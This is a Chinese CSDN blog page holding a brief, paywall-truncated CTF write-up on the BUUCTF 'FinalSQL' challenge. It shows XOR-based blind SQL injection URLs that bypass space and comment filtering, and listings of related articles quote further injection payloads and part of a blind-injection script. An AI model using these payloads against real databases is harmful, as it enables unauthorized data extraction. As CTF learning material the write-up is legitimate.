一道盲注题目，对注释符、空格的过滤。

最新推荐文章于 2023-05-02 16:30:46 发布
最新推荐文章于 2023-05-02 16:30:46 发布
阅读量225 收藏
点赞数
文章标签： web安全 安全
遵循CC BY-NC-SA 2.5 CN协议文本
本文链接：https://blog.csdn.net/Wolffy007/article/details/124889425
版权

FinalSQL

一道忙注题目

正确回显：(字符ASCII大于32)

http://29675b84-d078-45ef-943b-ef5ccae7535a.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),1,1))>32)^1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fnQPYSFM-1653046995375)(/Users/yudong/Library/Application Support/typora-user-images/image-20220520121503726.png)]

错误回显：小于32

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xfQLbeQA-1653046965187)(/Users/yudong/Library/Application Support/typora-user-images/image-20220520121600822.png)]

跑表的核心语句：

id=1(ascii(substr((select(group_concat(table_name))from(information_schema.tab

最低0.47元/天 解锁文章
Wolffy007
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
盲注实战题——Hack World
Marsper的博客
09-26 549
Hack World——布尔盲注 题面如下图 首先在搜索框中输入0，1或2测试显示结果 输入0时的显示结果 输入1时显示如下 输入2时的显示结果如下 继续测试得知输入1和2以外的数字显示结果和0的结果一样 继续测试，输入数字以外的英文测试，显示结果如下 结果发现都显示bool(false)错误 所以判断此题为数字型的bool盲注。 根据上篇介绍过的知识，所以用sql注入语句继续进行测试 输入 if(ascii(substr((select(flag)from(flag)),1,1))=102,1,
class14---注释符的过滤注入
qq_46185846的博客
02-20 225
注释符的过滤如何绕过 对应sqlilabs less23 首先，明确一个问题 如何过滤注释符号？ 使用preg_replace函数 注释注入在这里就不工作，那么怎么办呢？ 注入，不一定使用注释，也可以构造闭合。 闭合不好之处，就在执行点少 怎么操作？ 两种方法： 第一种，union select强制闭合： select * from users where id=’$id’ payload：-1 ...
注释过滤
greenjim20的专栏
04-26 1387
//过滤注释 void filter(){ if(ch=='/') { m_getch(); if(ch=='/') { m_getch(); while(ch!='/0'&&ch!='\n') m_getch(); m_getch(); } else if(ch=='*') { m_getch(); while(ch!='/0') { if(ch=='*')
sql注释符注入防御_SQL注入(过滤空格和--+等注释符)
weixin_29022821的博客
01-13 608
1、地址：http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)思路：确定注入参数值类型，直接输入单引号，根据报错信息确定参数值类型为字符型，如下图所示。2、正常思路输入‘ or ‘1‘=‘1,直接报错，信息为SQLi detected!，首先猜测or被过滤，直接去掉or，继续输入‘ ‘1‘=‘1，仍然报错，信息为SQLi detected...
实验吧——认真一点（绕过空格，逗号，关键字过滤等 sql盲注）
weixin_30299709的博客
10-12 248
题目地址：http://ctf5.shiyanbar.com/web/earnest/index.php 过滤和拦截了某些东西，我经过多次尝试，最终构造的是 1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1))...
SqlSever 注释符 单行注释与多行注释
09-09
在SQL Server中，注释是开发者用来记录代码...因此，熟练掌握并正确使用SQL Server的注释符是每个数据库开发人员的基本技能之一。在团队协作中，规范的注释还能帮助团队成员更好地理解和修改彼此的代码，提高工作效率。
编译过滤C语言注释符功能的源代码
12-12
编译过滤C语言注释符功能的源代码，拷贝到VC中编译即可。
Python如何脚本过滤文件中的注释
09-16
本文将介绍如何使用Python脚本来过滤掉文件中的注释。 首先，了解Python中的注释类型。单行注释是以`#`开头，例如： ```python # 这是一个单行注释 ``` 多行注释可以使用三个单引号(`'''`)或三个双引号(`"""`)...
c语言的注释定界符详解
08-25
了解并熟练使用注释定界符是每个C语言开发者的基本功。本文将深入讲解C语言的两种注释方式：单行注释和多行注释。 1. 单行注释： C语言引入了单行注释，以"//"开始，直到行尾的所有内容都被视为注释。这种注释方式...
去除php注释和去除空格函数分享
10-26
主要介绍了去除php注释和去除空格函数，php5中已提供相同功能的函数，这里只为学习PHP,需要的朋友可以参考下
sqli-labs学习笔记（八）less 23-24 注释符过滤、二次注入
闵行小鱼塘
09-14 339
继续学习sqli-labs，本篇是less 23-24
19、绕过去除注释符(Get)
weixin_41489908的博客
12-10 454
环境sqli-labs less 23 1、输入?id=1,正常运行 2、输入特殊字符报错 3、单引号闭合，但是发现# --+等都被过滤了 4、使用下面代码闭合 192.168.1.121/sqli/less-23?id=1’ or ‘1’=‘1 5、用union select判断字段数 192.168.1.121/sqli/less-23?id=1’ union select 1,2,...
sql注入（三）绕过方法及防御手段
m0_63306943的博客
05-02 7749
1）如果 waf 过滤了逗号，并且只能盲注，在取子串的几个函数中，有一个替代逗号的方法就是使用 from for ，其中 pos 代表从 pos 个开始读取 len 长度的子串。rlike 模糊匹配，只要字段的值中存在要查找的 部分 就会被选择出来，用来取代 = 时，rlike 的用法和上面的 like 一样，没有通配符效果和 = 一样。因为这些sql命令的执行， 必须先的通过语法分析，生成执行计划，既然语法分析已经完成，已经预编译过了，那么后面输入的参数，是绝对不可能作为sql命令来执行的，
BUUCTF [极客大挑战 2019]FinalSQL
Chu_Jian_Xiong的博客
10-14 1089
[极客大挑战 2019]FinalSQL操作脚本总结 操作 打开题目，又是这个鬼 跟着他的流程走，点按钮 让我们试试别的 告诉我们对了，但是不是这张表（埋坑） 怀疑这个地址是存在sql注入的，经过fuzz，发现过滤了空格，union之类的关键字，经过一系列的尝试，猜想后台原句 select * from 表 where id=1 通过构造语句，发现正确的页面回显 ''or(ascii(substr(database(),1,1))>32) 接下来就是拿脚本盲注了注入了 以下是注入发现的信息
buuctf-颜值成绩查询(sql注入)
m0_62094846的博客
05-15 543
输入1-4都是可以的，从5开始就不存在了 多半就是sql注入，但是限制了输入的数据，就只能用报错注入或者盲注了 但尝试后发现，报错注入、布尔盲注和时间盲注都不行，都回显not exists 尝试一下异或注入 1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1 这是正确的结果 错误的结果是这样的 通过这个可以最终得到flag 别人...
[极客大挑战 2019]FinalSQL
satasun的博客
11-15 2187
[极客大挑战 2019]FinalSQL 先骂出题人 出题人是真的狗，废话不多说先放最后爆破的结果： cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{01d295cf-0c9c-44db-98ca-c7877
SQL注入 Less23(过滤注释符)
开心星人的博客
07-24 1584
先去掉左右两边各一个单引号，相当于语文中的引用。因为过滤了注释符，我们可以手动闭合后面的单引号。尝试使用union注入，因为是有回显点的。想使用报错注入的，因为是会有报错信息的。直接使用union，来逐个测试字段数。很明显知道是单引号闭合。这部分，导致语句出错了。...
极客大挑战2019-SQL注入五题PW
cainsoftware的博客
09-23 1283
01、[极客大挑战2019]EasysQL 02、[极客大挑战2019]LovesQL 03、[极客大挑战2019]BabysQL 04、[极客大挑战2019]HardsQL 05、[极客大挑战2019]FinalsQL Pass-01 第一题无须太多花里胡哨的直接就是万能密码 payload:admin' or 1=1 -- qwe Pass-02 题目提示 不在当前表 直接先用万能密码测试闭合 提示登录成功 说明闭合是没有问题的 那么下面就是判断其他...
记录一下盲注脚本
qq_54929891的博客
04-22 2352
import requests url= 'http://46206bf0-67f6-43a5-ac69-5d26d094e942.node4.buuoj.cn:81/backend/content_detail.php' database ="" payload1 = "?id=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为news payload2 = "?id=1^(ascii(substr((select(group_co.
sql注入注释符被过滤
最新发布
11-09
但是，如果注释符被过滤，那么攻击者就无法使用注释符进行SQL注入攻击。\n\在引用和引用中，都提到了SQL注入中的注释符被过滤的情况。在这种情况下，攻击者无法使用注释符进行SQL注入攻击，但是仍然有其他的方式可以...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值